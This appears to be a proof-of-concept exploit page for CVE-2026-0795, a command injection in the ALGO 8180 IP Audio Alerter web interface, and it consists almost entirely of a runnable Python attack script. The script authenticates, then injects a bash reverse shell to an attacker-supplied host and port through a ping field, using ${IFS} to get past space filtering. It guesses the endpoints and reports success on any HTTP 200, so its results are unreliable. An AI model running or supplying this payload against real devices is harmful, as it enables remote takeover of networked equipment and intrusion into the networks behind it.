CVE-2026-0795 ALGO 8180 IP Audio Alerter Web UI命令注入远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-0795 PoC - ALGO 8180 IP Audio Alerter Command Injection RCE Note: This is for educational and authorized testing purposes only. """ import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_cve_2026_0795(target_ip, username, password, lhost, lport): """ Exploit command injection vulnerability in ALGO 8180 IP Audio Alerter Args: target_ip: Target device IP address username: Valid username for authentication password: Valid password for authentication lhost: Attacker listening IP for reverse shell lport: Attacker listening port for reverse shell """ base_url = f"https://{target_ip}" # HTTPS typically used # Step 1: Authenticate to obtain session login_url = f"{base_url}/api/login" credentials = { "username": username, "password": password } try: session = requests.Session() login_response = session.post(login_url, json=credentials, verify=False, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed with status code: {login_response.status_code}") return False print("[+] Successfully authenticated") # Step 2: Identify vulnerable endpoint (example - actual endpoint may vary) # Common endpoints in ALGO devices: /api/diagnostic/ping, /admin/diagnostics vulnerable_endpoints = [ "/api/diagnostic/ping", "/api/network/ping", "/admin/diagnostics/ping" ] # Step 3: Inject malicious command via ping functionality # Generate reverse shell payload reverse_shell_cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1" encoded_payload = reverse_shell_cmd.replace(" ", "${IFS}") for endpoint in vulnerable_endpoints: exploit_data = { "target": f"8.8.8.8;{encoded_payload}", "count": "1" } exploit_response = session.post( f"{base_url}{endpoint}", json=exploit_data, verify=False, timeout=10 ) if exploit_response.status_code == 200: print(f"[+] Exploit sent to {endpoint}") print(f"[+] Payload executed - check listener on {lhost}:{lport}") return True print("[-] No vulnerable endpoint found or exploit failed") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python3 cve-2026-0795.py <target_ip> <username> <password> <lhost> <lport>") print("Example: python3 cve-2026-0795.py 192.168.1.100 admin password 192.168.1.50 4444") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] print(f"[*] Targeting ALGO 8180 IP Audio Alerter: {target}") print(f"[*] Using credentials: {user}/{pwd}") exploit_cve_2026_0795(target, user, pwd, lhost, lport)